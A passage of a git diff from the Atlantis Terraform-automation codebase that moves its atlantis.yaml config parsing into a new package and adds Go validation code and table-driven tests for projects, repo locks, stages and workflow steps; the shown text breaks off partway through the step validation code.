valid import_requirement, only \"approved\", \"mergeable\" and \"undiverged\" are supported.", + }, + { + description: "import reqs with undiverged, mergeable and approved requirements", + input: raw.Project{ + Dir: String("."), + ImportRequirements: []string{"undiverged", "mergeable", "approved"}, + }, + expErr: "", + }, + { + description: "empty tf version string", + input: raw.Project{ + Dir: String("."), + TerraformVersion: String(""), + }, + expErr: "terraform_version: version \"\" could not be parsed: Malformed version: .", + }, + { + description: "tf version with v prepended", + input: raw.Project{ + Dir: String("."), + TerraformVersion: String("v1"), + }, + expErr: "", + }, + { + description: "tf version without prepended v", + input: raw.Project{ + Dir: String("."), + TerraformVersion: String("1"), + }, + expErr: "", + }, + { + description: "empty string for project name", + input: raw.Project{ + Dir: String("."), + Name: String(""), + }, + expErr: "name: if set cannot be empty.", + }, + { + description: "project name with slashes", + input: raw.Project{ + Dir: String("."), + Name: String("my/name"), + }, + expErr: "", + }, + { + description: "project name with emoji", + input: raw.Project{ + Dir: String("."), + Name: String("😀"), + }, + expErr: "name: \"😀\" is not allowed: must contain only URL safe characters.", + }, + { + description: "project name with spaces", + input: raw.Project{ + Dir: String("."), + Name: String("name with spaces"), + }, + expErr: "name: \"name with spaces\" is not allowed: must contain only URL safe characters.", + }, + { + description: "project name with +", + input: raw.Project{ + Dir: String("."), + Name: String("namewith+"), + }, + expErr: "name: \"namewith+\" is not allowed: must contain only URL safe characters.", + }, + { + description: `project name with \`, + input: raw.Project{ + Dir: String("."), + Name: String(`namewith\`), + }, + expErr: `name: "namewith\\" is not allowed: must contain only URL safe characters.`, + }, + } + validation.ErrorTag = "yaml" + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + err := c.input.Validate() + if c.expErr == "" { + Ok(t, err) + } else { + ErrEquals(t, c.expErr, err) + } + }) + } +} + +func TestProject_ToValid(t *testing.T) { + tfVersionPointEleven, _ := version.NewVersion("v0.11.0") + repoLocksOnApply := valid.RepoLocksOnApplyMode + cases := []struct { + description string + input raw.Project + exp valid.Project + }{ + { + description: "minimal values", + input: raw.Project{ + Dir: String("."), + }, + exp: valid.Project{ + Dir: ".", + BranchRegex: nil, + Workspace: "default", + WorkflowName: nil, + TerraformVersion: nil, + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: true, + }, + ApplyRequirements: nil, + Name: nil, + }, + }, + { + description: "all set", + input: raw.Project{ + Dir: String("."), + Workspace: String("myworkspace"), + Workflow: String("myworkflow"), + TerraformVersion: String("v0.11.0"), + Autoplan: &raw.Autoplan{ + WhenModified: []string{"hi"}, + Enabled: Bool(false), + }, + RepoLocks: &raw.RepoLocks{ + Mode: &repoLocksOnApply, + }, + ApplyRequirements: []string{"approved"}, + Name: String("myname"), + ExecutionOrderGroup: Int(10), + }, + exp: valid.Project{ + Dir: ".", + Workspace: "myworkspace", + WorkflowName: String("myworkflow"), + TerraformVersion: tfVersionPointEleven, + Autoplan: valid.Autoplan{ + WhenModified: []string{"hi"}, + Enabled: false, + }, + RepoLocks: &valid.RepoLocks{ + Mode: repoLocksOnApply, + }, + ApplyRequirements: []string{"approved"}, + Name: String("myname"), + ExecutionOrderGroup: 10, + }, + }, + { + description: "tf version without 'v'", + input: raw.Project{ + Dir: String("."), + TerraformVersion: String("0.11.0"), + }, + exp: valid.Project{ + Dir: ".", + Workspace: "default", + TerraformVersion: tfVersionPointEleven, + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: true, + }, + }, + }, + // Directories. + { + description: "dir set to /", + input: raw.Project{ + Dir: String("/"), + }, + exp: valid.Project{ + Dir: ".", + Workspace: "default", + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: true, + }, + }, + }, + { + description: "dir starting with /", + input: raw.Project{ + Dir: String("/a/b/c"), + }, + exp: valid.Project{ + Dir: "a/b/c", + Workspace: "default", + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: true, + }, + }, + }, + { + description: "dir with trailing slash", + input: raw.Project{ + Dir: String("mydir/"), + }, + exp: valid.Project{ + Dir: "mydir", + Workspace: "default", + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: true, + }, + }, + }, + { + description: "unclean dir", + input: raw.Project{ + // This won't actually be allowed since it doesn't validate. + Dir: String("./mydir/anotherdir/../"), + }, + exp: valid.Project{ + Dir: "mydir", + Workspace: "default", + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: true, + }, + }, + }, + { + description: "dir set to ./", + input: raw.Project{ + Dir: String("./"), + }, + exp: valid.Project{ + Dir: ".", + Workspace: "default", + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: true, + }, + }, + }, + { + description: "dir set to ././", + input: raw.Project{ + Dir: String("././"), + }, + exp: valid.Project{ + Dir: ".", + Workspace: "default", + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: true, + }, + }, + }, + { + description: "dir set to .", + input: raw.Project{ + Dir: String("."), + }, + exp: valid.Project{ + Dir: ".", + Workspace: "default", + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: true, + }, + }, + }, + + { + description: "workspace set to empty string", + input: raw.Project{ + Dir: String("."), + Workspace: String(""), + }, + exp: valid.Project{ + Dir: ".", + Workspace: "default", + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: true, + }, + }, + }, + } + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + Equals(t, c.exp, c.input.ToValid()) + }) + } +} diff --git a/server/core/config/raw/raw.go b/server/core/config/raw/raw.go new file mode 100644 index 0000000000..97dd0615a3 --- /dev/null +++ b/server/core/config/raw/raw.go @@ -0,0 +1,24 @@ +// Package raw contains the golang representations of the YAML elements +// supported in atlantis.yaml. The structs here represent the exact data that +// comes from the file before it is parsed/validated further. +package raw + +import ( + "fmt" + + version "github.com/hashicorp/go-version" +) + +// VersionValidator helper function to validate binary version. +// Function implements ozzo-validation::Rule.Validate interface. +func VersionValidator(value interface{}) error { + strPtr := value.(*string) + if strPtr == nil { + return nil + } + _, err := version.NewVersion(*strPtr) + if err != nil { + return fmt.Errorf("version %q could not be parsed: %w", *strPtr, err) + } + return nil +} diff --git a/server/core/config/raw/raw_test.go b/server/core/config/raw/raw_test.go new file mode 100644 index 0000000000..0d8fdca9a3 --- /dev/null +++ b/server/core/config/raw/raw_test.go @@ -0,0 +1,34 @@ +package raw_test + +import ( + "io" + "strings" + + "errors" + + "gopkg.in/yaml.v3" +) + +// Bool is a helper routine that allocates a new bool value +// to store v and returns a pointer to it. +func Bool(v bool) *bool { return &v } + +// Int is a helper routine that allocates a new int value +// to store v and returns a pointer to it. +func Int(v int) *int { return &v } + +// String is a helper routine that allocates a new string value +// to store v and returns a pointer to it. +func String(v string) *string { return &v } + +// Helper function to unmarshal from strings +func unmarshalString(in string, out interface{}) error { + decoder := yaml.NewDecoder(strings.NewReader(in)) + decoder.KnownFields(true) + + err := decoder.Decode(out) + if errors.Is(err, io.EOF) { + return nil + } + return err +} diff --git a/server/core/config/raw/repo_cfg.go b/server/core/config/raw/repo_cfg.go new file mode 100644 index 0000000000..7d5592a5b9 --- /dev/null +++ b/server/core/config/raw/repo_cfg.go @@ -0,0 +1,102 @@ +package raw + +import ( + "errors" + + validation "github.com/go-ozzo/ozzo-validation" + "github.com/runatlantis/atlantis/server/core/config/valid" +) + +// DefaultEmojiReaction is the default emoji reaction for repos +const DefaultEmojiReaction = "" + +// DefaultAbortOnExecutionOrderFail being false is the default setting for abort on execution group failures +const DefaultAbortOnExecutionOrderFail = false + +// RepoCfg is the raw schema for repo-level atlantis.yaml config. +type RepoCfg struct { + Version *int `yaml:"version,omitempty"` + Projects []Project `yaml:"projects,omitempty"` + Workflows map[string]Workflow `yaml:"workflows,omitempty"` + PolicySets PolicySets `yaml:"policies,omitempty"` + AutoDiscover *AutoDiscover `yaml:"autodiscover,omitempty"` + Automerge *bool `yaml:"automerge,omitempty"` + ParallelApply *bool `yaml:"parallel_apply,omitempty"` + ParallelPlan *bool `yaml:"parallel_plan,omitempty"` + DeleteSourceBranchOnMerge *bool `yaml:"delete_source_branch_on_merge,omitempty"` + EmojiReaction *string `yaml:"emoji_reaction,omitempty"` + AllowedRegexpPrefixes []string `yaml:"allowed_regexp_prefixes,omitempty"` + AbortOnExecutionOrderFail *bool `yaml:"abort_on_execution_order_fail,omitempty"` + RepoLocks *RepoLocks `yaml:"repo_locks,omitempty"` + SilencePRComments []string `yaml:"silence_pr_comments,omitempty"` +} + +func (r RepoCfg) Validate() error { + equals2 := func(value interface{}) error { + asIntPtr := value.(*int) + if asIntPtr == nil { + return errors.New("is required. If you've just upgraded Atlantis you need to rewrite your atlantis.yaml for version 3. See www.runatlantis.io/docs/upgrading-atlantis-yaml.html") + } + if *asIntPtr != 2 && *asIntPtr != 3 { + return errors.New("only versions 2 and 3 are supported") + } + return nil + } + return validation.ValidateStruct(&r, + validation.Field(&r.Version, validation.By(equals2)), + validation.Field(&r.Projects), + validation.Field(&r.Workflows), + ) +} + +func (r RepoCfg) ToValid() valid.RepoCfg { + validWorkflows := make(map[string]valid.Workflow) + for k, v := range r.Workflows { + validWorkflows[k] = v.ToValid(k) + } + + var validProjects []valid.Project + for _, p := range r.Projects { + validProjects = append(validProjects, p.ToValid()) + } + + automerge := r.Automerge + parallelApply := r.ParallelApply + parallelPlan := r.ParallelPlan + + emojiReaction := DefaultEmojiReaction + if r.EmojiReaction != nil { + emojiReaction = *r.EmojiReaction + } + + abortOnExecutionOrderFail := DefaultAbortOnExecutionOrderFail + if r.AbortOnExecutionOrderFail != nil { + abortOnExecutionOrderFail = *r.AbortOnExecutionOrderFail + } + + var autoDiscover *valid.AutoDiscover + if r.AutoDiscover != nil { + autoDiscover = r.AutoDiscover.ToValid() + } + + var repoLocks *valid.RepoLocks + if r.RepoLocks != nil { + repoLocks = r.RepoLocks.ToValid() + } + return valid.RepoCfg{ + Version: *r.Version, + Projects: validProjects, + Workflows: validWorkflows, + AutoDiscover: autoDiscover, + Automerge: automerge, + ParallelApply: parallelApply, + ParallelPlan: parallelPlan, + ParallelPolicyCheck: parallelPlan, + DeleteSourceBranchOnMerge: r.DeleteSourceBranchOnMerge, + AllowedRegexpPrefixes: r.AllowedRegexpPrefixes, + EmojiReaction: emojiReaction, + AbortOnExecutionOrderFail: abortOnExecutionOrderFail, + RepoLocks: repoLocks, + SilencePRComments: r.SilencePRComments, + } +} diff --git a/server/core/config/raw/repo_cfg_test.go b/server/core/config/raw/repo_cfg_test.go new file mode 100644 index 0000000000..2c405da34f --- /dev/null +++ b/server/core/config/raw/repo_cfg_test.go @@ -0,0 +1,531 @@ +package raw_test + +import ( + "testing" + + validation "github.com/go-ozzo/ozzo-validation" + "github.com/runatlantis/atlantis/server/core/config/raw" + "github.com/runatlantis/atlantis/server/core/config/valid" + . "github.com/runatlantis/atlantis/testing" +) + +func TestConfig_UnmarshalYAML(t *testing.T) { + autoDiscoverEnabled := valid.AutoDiscoverEnabledMode + repoLocksDisabled := valid.RepoLocksDisabledMode + repoLocksOnApply := valid.RepoLocksOnApplyMode + cases := []struct { + description string + input string + exp raw.RepoCfg + expErr string + }{ + { + description: "no data", + input: "", + exp: raw.RepoCfg{ + Version: nil, + Projects: nil, + Workflows: nil, + }, + }, + { + description: "yaml nil", + input: "~", + exp: raw.RepoCfg{ + Version: nil, + Projects: nil, + Workflows: nil, + }, + }, + { + description: "invalid key", + input: "invalid: key", + exp: raw.RepoCfg{ + Version: nil, + Projects: nil, + Workflows: nil, + }, + expErr: "yaml: unmarshal errors:\n line 1: field invalid not found in type raw.RepoCfg", + }, + { + description: "version set to 2", + input: "version: 2", + exp: raw.RepoCfg{ + Version: Int(2), + Projects: nil, + Workflows: nil, + }, + }, + { + description: "version set to 3", + input: "version: 3", + exp: raw.RepoCfg{ + Version: Int(3), + Projects: nil, + Workflows: nil, + }, + }, + { + description: "projects key without value", + input: "projects:", + exp: raw.RepoCfg{ + Version: nil, + Projects: nil, + Workflows: nil, + }, + }, + { + description: "workflows key without value", + input: "workflows:", + exp: raw.RepoCfg{ + Version: nil, + Projects: nil, + Workflows: nil, + }, + }, + { + description: "projects with a map", + input: "projects:\n key: value", + exp: raw.RepoCfg{ + Version: nil, + Projects: nil, + Workflows: nil, + }, + expErr: "yaml: unmarshal errors:\n line 2: cannot unmarshal !!map into []raw.Project", + }, + { + description: "projects with a scalar", + input: "projects: value", + exp: raw.RepoCfg{ + Version: nil, + Projects: nil, + Workflows: nil, + }, + expErr: "yaml: unmarshal errors:\n line 1: cannot unmarshal !!str `value` into []raw.Project", + }, + { + description: "automerge not a boolean", + input: "version: 3\nautomerge: notabool", + exp: raw.RepoCfg{ + Version: nil, + Projects: nil, + Workflows: nil, + }, + expErr: "yaml: unmarshal errors:\n line 2: cannot unmarshal !!str `notabool` into bool", + }, + { + description: "parallel apply not a boolean", + input: "version: 3\nparallel_apply: notabool", + exp: raw.RepoCfg{ + Version: nil, + Projects: nil, + Workflows: nil, + }, + expErr: "yaml: unmarshal errors:\n line 2: cannot unmarshal !!str `notabool` into bool", + }, + { + description: "should use values if set", + input: ` +version: 3 +automerge: true +autodiscover: + mode: enabled + ignore_paths: + - foo/* +parallel_apply: true +parallel_plan: false +repo_locks: + mode: on_apply +projects: +- dir: mydir + workspace: myworkspace + workflow: default + terraform_version: v0.11.0 + autoplan: + enabled: false + when_modified: [] + apply_requirements: [mergeable] + repo_locks: + mode: disabled +workflows: + default: + plan: + steps: [] + policy_check: + steps: [] + apply: + steps: [] +allowed_regexp_prefixes: +- dev/ +- staging/`, + exp: raw.RepoCfg{ + Version: Int(3), + AutoDiscover: &raw.AutoDiscover{ + Mode: &autoDiscoverEnabled, + IgnorePaths: []string{"foo/*"}, + }, + Automerge: Bool(true), + ParallelApply: Bool(true), + ParallelPlan: Bool(false), + RepoLocks: &raw.RepoLocks{Mode: &repoLocksOnApply}, + Projects: []raw.Project{ + { + Dir: String("mydir"), + Workspace: String("myworkspace"), + Workflow: String("default"), + TerraformVersion: String("v0.11.0"), + Autoplan: &raw.Autoplan{ + WhenModified: []string{}, + Enabled: Bool(false), + }, + ApplyRequirements: []string{"mergeable"}, + RepoLocks: &raw.RepoLocks{Mode: &repoLocksDisabled}, + }, + }, + Workflows: map[string]raw.Workflow{ + "default": { + Apply: &raw.Stage{ + Steps: []raw.Step{}, + }, + Plan: &raw.Stage{ + Steps: []raw.Step{}, + }, + PolicyCheck: &raw.Stage{ + Steps: []raw.Step{}, + }, + }, + }, + AllowedRegexpPrefixes: []string{"dev/", "staging/"}, + }, + }, + } + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + var conf raw.RepoCfg + err := unmarshalString(c.input, &conf) + if c.expErr != "" { + ErrEquals(t, c.expErr, err) + return + } + Ok(t, err) + Equals(t, c.exp, conf) + }) + } +} + +func TestConfig_Validate(t *testing.T) { + cases := []struct { + description string + input raw.RepoCfg + expErr string + }{ + { + description: "version not nil", + input: raw.RepoCfg{ + Version: nil, + }, + expErr: "version: is required. If you've just upgraded Atlantis you need to rewrite your atlantis.yaml for version 3. See www.runatlantis.io/docs/upgrading-atlantis-yaml.html.", + }, + { + description: "version not 2 or 3", + input: raw.RepoCfg{ + Version: Int(1), + }, + expErr: "version: only versions 2 and 3 are supported.", + }, + } + validation.ErrorTag = "yaml" + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + err := c.input.Validate() + if c.expErr == "" { + Ok(t, err) + } else { + ErrEquals(t, c.expErr, err) + } + }) + } +} + +func TestConfig_ToValid(t *testing.T) { + autoDiscoverEnabled := valid.AutoDiscoverEnabledMode + repoLocksOnApply := valid.RepoLocksOnApplyMode + cases := []struct { + description string + input raw.RepoCfg + exp valid.RepoCfg + }{ + { + description: "nothing set", + input: raw.RepoCfg{Version: Int(2)}, + exp: valid.RepoCfg{ + Version: 2, + Workflows: make(map[string]valid.Workflow), + }, + }, + { + description: "set to empty", + input: raw.RepoCfg{ + Version: Int(2), + AutoDiscover: &raw.AutoDiscover{}, + Workflows: map[string]raw.Workflow{}, + Projects: []raw.Project{}, + RepoLocks: &raw.RepoLocks{}, + }, + exp: valid.RepoCfg{ + Version: 2, + AutoDiscover: raw.DefaultAutoDiscover(), + Workflows: map[string]valid.Workflow{}, + Projects: nil, + RepoLocks: &valid.DefaultRepoLocks, + }, + }, + { + description: "automerge, parallel_apply, abort_on_execution_order_fail omitted", + input: raw.RepoCfg{ + Version: Int(2), + }, + exp: valid.RepoCfg{ + Version: 2, + Automerge: nil, + ParallelApply: nil, + AbortOnExecutionOrderFail: false, + Workflows: map[string]valid.Workflow{}, + }, + }, + { + description: "automerge, parallel_apply, abort_on_execution_order_fail true", + input: raw.RepoCfg{ + Version: Int(2), + Automerge: Bool(true), + ParallelApply: Bool(true), + AbortOnExecutionOrderFail: Bool(true), + }, + exp: valid.RepoCfg{ + Version: 2, + Automerge: Bool(true), + ParallelApply: Bool(true), + AbortOnExecutionOrderFail: true, + Workflows: map[string]valid.Workflow{}, + }, + }, + { + description: "automerge, parallel_apply, abort_on_execution_order_fail false", + input: raw.RepoCfg{ + Version: Int(2), + Automerge: Bool(false), + ParallelApply: Bool(false), + AbortOnExecutionOrderFail: Bool(false), + }, + exp: valid.RepoCfg{ + Version: 2, + Automerge: Bool(false), + ParallelApply: Bool(false), + AbortOnExecutionOrderFail: false, + Workflows: map[string]valid.Workflow{}, + }, + }, + { + description: "autodiscover omitted", + input: raw.RepoCfg{ + Version: Int(2), + }, + exp: valid.RepoCfg{ + Version: 2, + Workflows: map[string]valid.Workflow{}, + }, + }, + { + description: "autodiscover included", + input: raw.RepoCfg{ + Version: Int(2), + AutoDiscover: &raw.AutoDiscover{Mode: &autoDiscoverEnabled}, + }, + exp: valid.RepoCfg{ + Version: 2, + AutoDiscover: &valid.AutoDiscover{ + Mode: valid.AutoDiscoverEnabledMode, + }, + Workflows: map[string]valid.Workflow{}, + }, + }, + { + description: "repo_locks omitted", + input: raw.RepoCfg{ + Version: Int(2), + }, + exp: valid.RepoCfg{ + Version: 2, + Workflows: map[string]valid.Workflow{}, + }, + }, + { + description: "repo_locks included", + input: raw.RepoCfg{ + Version: Int(2), + RepoLocks: &raw.RepoLocks{Mode: &repoLocksOnApply}, + }, + exp: valid.RepoCfg{ + Version: 2, + RepoLocks: &valid.RepoLocks{ + Mode: valid.RepoLocksOnApplyMode, + }, + Workflows: map[string]valid.Workflow{}, + }, + }, + { + description: "only plan stage set", + input: raw.RepoCfg{ + Version: Int(2), + Workflows: map[string]raw.Workflow{ + "myworkflow": { + Plan: &raw.Stage{}, + Apply: nil, + PolicyCheck: nil, + Import: nil, + StateRm: nil, + }, + }, + }, + exp: valid.RepoCfg{ + Version: 2, + Automerge: nil, + ParallelApply: nil, + Workflows: map[string]valid.Workflow{ + "myworkflow": { + Name: "myworkflow", + Plan: valid.DefaultPlanStage, + PolicyCheck: valid.DefaultPolicyCheckStage, + Apply: valid.DefaultApplyStage, + Import: valid.DefaultImportStage, + StateRm: valid.DefaultStateRmStage, + }, + }, + }, + }, + { + description: "everything set", + input: raw.RepoCfg{ + Version: Int(2), + Automerge: Bool(true), + ParallelApply: Bool(true), + AutoDiscover: &raw.AutoDiscover{ + Mode: &autoDiscoverEnabled, + }, + RepoLocks: &raw.RepoLocks{ + Mode: &repoLocksOnApply, + }, + Workflows: map[string]raw.Workflow{ + "myworkflow": { + Apply: &raw.Stage{ + Steps: []raw.Step{ + { + Key: String("apply"), + }, + }, + }, + PolicyCheck: &raw.Stage{ + Steps: []raw.Step{ + { + Key: String("policy_check"), + }, + }, + }, + Plan: &raw.Stage{ + Steps: []raw.Step{ + { + Key: String("init"), + }, + }, + }, + Import: &raw.Stage{ + Steps: []raw.Step{ + { + Key: String("import"), + }, + }, + }, + StateRm: &raw.Stage{ + Steps: []raw.Step{ + { + Key: String("state_rm"), + }, + }, + }, + }, + }, + Projects: []raw.Project{ + { + Dir: String("mydir"), + }, + }, + }, + exp: valid.RepoCfg{ + Version: 2, + Automerge: Bool(true), + ParallelApply: Bool(true), + AutoDiscover: &valid.AutoDiscover{ + Mode: valid.AutoDiscoverEnabledMode, + }, + RepoLocks: &valid.RepoLocks{ + Mode: valid.RepoLocksOnApplyMode, + }, + Workflows: map[string]valid.Workflow{ + "myworkflow": { + Name: "myworkflow", + Apply: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "apply", + }, + }, + }, + PolicyCheck: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "policy_check", + }, + }, + }, + Plan: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "init", + }, + }, + }, + Import: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "import", + }, + }, + }, + StateRm: valid.Stage{ + Steps: []valid.Step{ + { + StepName: "state_rm", + }, + }, + }, + }, + }, + Projects: []valid.Project{ + { + Dir: "mydir", + Workspace: "default", + Autoplan: valid.Autoplan{ + WhenModified: raw.DefaultAutoPlanWhenModified, + Enabled: true, + }, + }, + }, + }, + }, + } + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + Equals(t, c.exp, c.input.ToValid()) + }) + } +} diff --git a/server/core/config/raw/repo_locks.go b/server/core/config/raw/repo_locks.go new file mode 100644 index 0000000000..60ab8461fa --- /dev/null +++ b/server/core/config/raw/repo_locks.go @@ -0,0 +1,30 @@ +package raw + +import ( + validation "github.com/go-ozzo/ozzo-validation" + "github.com/runatlantis/atlantis/server/core/config/valid" +) + +type RepoLocks struct { + Mode *valid.RepoLocksMode `yaml:"mode,omitempty"` +} + +func (a RepoLocks) ToValid() *valid.RepoLocks { + var v valid.RepoLocks + + if a.Mode != nil { + v.Mode = *a.Mode + } else { + v.Mode = valid.DefaultRepoLocksMode + } + + return &v +} + +func (a RepoLocks) Validate() error { + res := validation.ValidateStruct(&a, + // If a.Mode is nil, this should still pass validation. + validation.Field(&a.Mode, validation.In(valid.RepoLocksDisabledMode, valid.RepoLocksOnPlanMode, valid.RepoLocksOnApplyMode)), + ) + return res +} diff --git a/server/core/config/raw/repo_locks_test.go b/server/core/config/raw/repo_locks_test.go new file mode 100644 index 0000000000..8a8d45a0fe --- /dev/null +++ b/server/core/config/raw/repo_locks_test.go @@ -0,0 +1,128 @@ +package raw_test + +import ( + "testing" + + "github.com/runatlantis/atlantis/server/core/config/raw" + "github.com/runatlantis/atlantis/server/core/config/valid" + . "github.com/runatlantis/atlantis/testing" +) + +func TestRepoLocks_UnmarshalYAML(t *testing.T) { + repoLocksOnPlan := valid.RepoLocksOnPlanMode + cases := []struct { + description string + input string + exp raw.RepoLocks + }{ + { + description: "omit unset fields", + input: "", + exp: raw.RepoLocks{ + Mode: nil, + }, + }, + { + description: "all fields set", + input: ` +mode: on_plan +`, + exp: raw.RepoLocks{ + Mode: &repoLocksOnPlan, + }, + }, + } + + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + var a raw.RepoLocks + err := unmarshalString(c.input, &a) + Ok(t, err) + Equals(t, c.exp, a) + }) + } +} + +func TestRepoLocks_Validate(t *testing.T) { + repoLocksDisabled := valid.RepoLocksDisabledMode + repoLocksOnPlan := valid.RepoLocksOnPlanMode + repoLocksOnApply := valid.RepoLocksOnApplyMode + randomString := valid.RepoLocksMode("random_string") + cases := []struct { + description string + input raw.RepoLocks + errContains *string + }{ + { + description: "nothing set", + input: raw.RepoLocks{}, + errContains: nil, + }, + { + description: "mode set to disabled", + input: raw.RepoLocks{ + Mode: &repoLocksDisabled, + }, + errContains: nil, + }, + { + description: "mode set to on_plan", + input: raw.RepoLocks{ + Mode: &repoLocksOnPlan, + }, + errContains: nil, + }, + { + description: "mode set to on_apply", + input: raw.RepoLocks{ + Mode: &repoLocksOnApply, + }, + errContains: nil, + }, + { + description: "mode set to random string", + input: raw.RepoLocks{ + Mode: &randomString, + }, + errContains: String("valid value"), + }, + } + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + if c.errContains == nil { + Ok(t, c.input.Validate()) + } else { + ErrContains(t, *c.errContains, c.input.Validate()) + } + }) + } +} + +func TestRepoLocks_ToValid(t *testing.T) { + repoLocksOnApply := valid.RepoLocksOnApplyMode + cases := []struct { + description string + input raw.RepoLocks + exp *valid.RepoLocks + }{ + { + description: "nothing set", + input: raw.RepoLocks{}, + exp: &valid.DefaultRepoLocks, + }, + { + description: "value set", + input: raw.RepoLocks{ + Mode: &repoLocksOnApply, + }, + exp: &valid.RepoLocks{ + Mode: valid.RepoLocksOnApplyMode, + }, + }, + } + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + Equals(t, c.exp, c.input.ToValid()) + }) + } +} diff --git a/server/events/yaml/raw/stage.go b/server/core/config/raw/stage.go similarity index 88% rename from server/events/yaml/raw/stage.go rename to server/core/config/raw/stage.go index 38772bfabd..d361a78313 100644 --- a/server/events/yaml/raw/stage.go +++ b/server/core/config/raw/stage.go @@ -2,7 +2,7 @@ package raw import ( validation "github.com/go-ozzo/ozzo-validation" - "github.com/runatlantis/atlantis/server/events/yaml/valid" + "github.com/runatlantis/atlantis/server/core/config/valid" ) type Stage struct { diff --git a/server/events/yaml/raw/stage_test.go b/server/core/config/raw/stage_test.go similarity index 89% rename from server/events/yaml/raw/stage_test.go rename to server/core/config/raw/stage_test.go index 18c49c0bc3..12acd6af96 100644 --- a/server/events/yaml/raw/stage_test.go +++ b/server/core/config/raw/stage_test.go @@ -4,10 +4,9 @@ import ( "testing" validation "github.com/go-ozzo/ozzo-validation" - "github.com/runatlantis/atlantis/server/events/yaml/raw" - "github.com/runatlantis/atlantis/server/events/yaml/valid" + "github.com/runatlantis/atlantis/server/core/config/raw" + "github.com/runatlantis/atlantis/server/core/config/valid" . "github.com/runatlantis/atlantis/testing" - yaml "gopkg.in/yaml.v2" ) func TestStage_UnmarshalYAML(t *testing.T) { @@ -41,7 +40,7 @@ steps: [step1] for _, c := range cases { t.Run(c.description, func(t *testing.T) { var a raw.Stage - err := yaml.UnmarshalStrict([]byte(c.input), &a) + err := unmarshalString(c.input, &a) Ok(t, err) Equals(t, c.exp, a) }) diff --git a/server/core/config/raw/step.go b/server/core/config/raw/step.go new file mode 100644 index 0000000000..6ada93488c --- /dev/null +++ b/server/core/config/raw/step.go @@ -0,0 +1,477 @@ +package raw + +import ( + "encoding/json" + "errors" + "fmt" + "sort" + "strings" + + validation "github.com/go-ozzo/ozzo-validation" + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/utils" +) + +const ( + ExtraArgsKey = "extra_args" + NameArgKey = "name" + CommandArgKey = "command" + ValueArgKey = "value" + OutputArgKey = "output" + RunStepName = "run" + PlanStepName = "plan" + ShowStepName = "show" + PolicyCheckStepName = "policy_check" + ApplyStepName = "apply" + InitStepName = "init" + EnvStepName = "env" + MultiEnvStepName = "multienv" + ImportStepName = "import" + StateRmStepName = "state_rm" + ShellArgKey = "shell" + ShellArgsArgKey = "shellArgs" +) + +/* +Step represents a single action/command to perform. In YAML, it can be set as +1. A single string for a built-in command: + - init + - plan + - policy_check + +2. A map for an env step with name and command or value, or a run step with a command and output config + - env: + name: test_command + command: echo 312 + - env: + name: test_value + value: value + - env: + name: test_bash_command + command: echo ${test_value::7} + shell: bash + shellArgs: ["--verbose", "-c"] + - multienv: + command: envs.sh + output: hide + shell: sh + shellArgs: -c + - run: + command: my custom command + output: hide + +3. A map for a built-in command and extra_args: + - plan: + extra_args: [-var-file=staging.tfvars] + +4. A map for a custom run command: + - run: my custom command + +Here we parse step in the most generic fashion possible. See fields for more +details. +*/ +type Step struct { + // Key will be set in case #1 and #3 above to the key. In case #2, there + // could be multiple keys (since the element is a map) so we don't set Key. + Key *string + // StringVal will be set in case #4 above. + StringVal map[string]string + // Map will be set in case #3 above. + Map map[string]map[string][]string + // CommandMap will be set in case #2 above. + CommandMap map[string]map[string]interface{} +} + +func (s *Step) UnmarshalYAML(unmarshal func(interface{}) error) error { + return s.unmarshalGeneric(unmarshal) +} + +func (s Step) MarshalYAML() (interface{}, error) { + return s.marshalGeneric() +} + +func (s *Step) UnmarshalJSON(data []byte) error { + return s.unmarshalGeneric(func(i interface{}) error { + return json.Unmarshal(data, i) + }) +} + +func (s *Step) MarshalJSON() ([]byte, error) { + out, err := s.marshalGeneric() + if err != nil { + return nil, err + } + return json.Marshal(out) +} + +func (s Step) validStepName(stepName string) bool { + return stepName == InitStepName || + stepName == PlanStepName || + stepName == ApplyStepName || + stepName == EnvStepName || + stepName == MultiEnvStepName || + stepName == ShowStepName || + stepName == PolicyCheckStepName || + stepName == ImportStepName || + stepName == StateRmStepName +} + +func (s Step) Validate() error { + validStep := func(value interface{}) error { + str := *value.(*string) + if !s.validStepName(str) { + return fmt.Errorf("%q is not a valid step type, maybe you omitted the 'run' key", str) + } + return nil + } + + extraArgs := func(value interface{}) error { + elem := value.(map[string]map[string][]string) + var keys []string + for k := range elem { + keys = append(keys, k) + } + // Sort so tests can be deterministic. + sort.Strings(keys) + + if len(keys) > 1 { + return fmt.Errorf("step element can only contain a single key, found %d: %s", + len(keys), strings.Join(keys, ",")) + } + for stepName, args := range elem { + if !s.validStepName(stepName) { + return fmt.Errorf("%q is not a valid step type", stepName) + } + var argKeys []string + for k := range args { + argKeys = append(argKeys, k) + } + // Sort so tests can be deterministic. + sort.Strings(argKeys) + + // args should contain a single 'extra_args' key. + if len(argKeys) > 1 { + return fmt.Errorf("built-in steps only support a single %s key, found %d: %s", + ExtraArgsKey, len(argKeys), strings.Join(argKeys, ",")) + } + for k := range args { + if 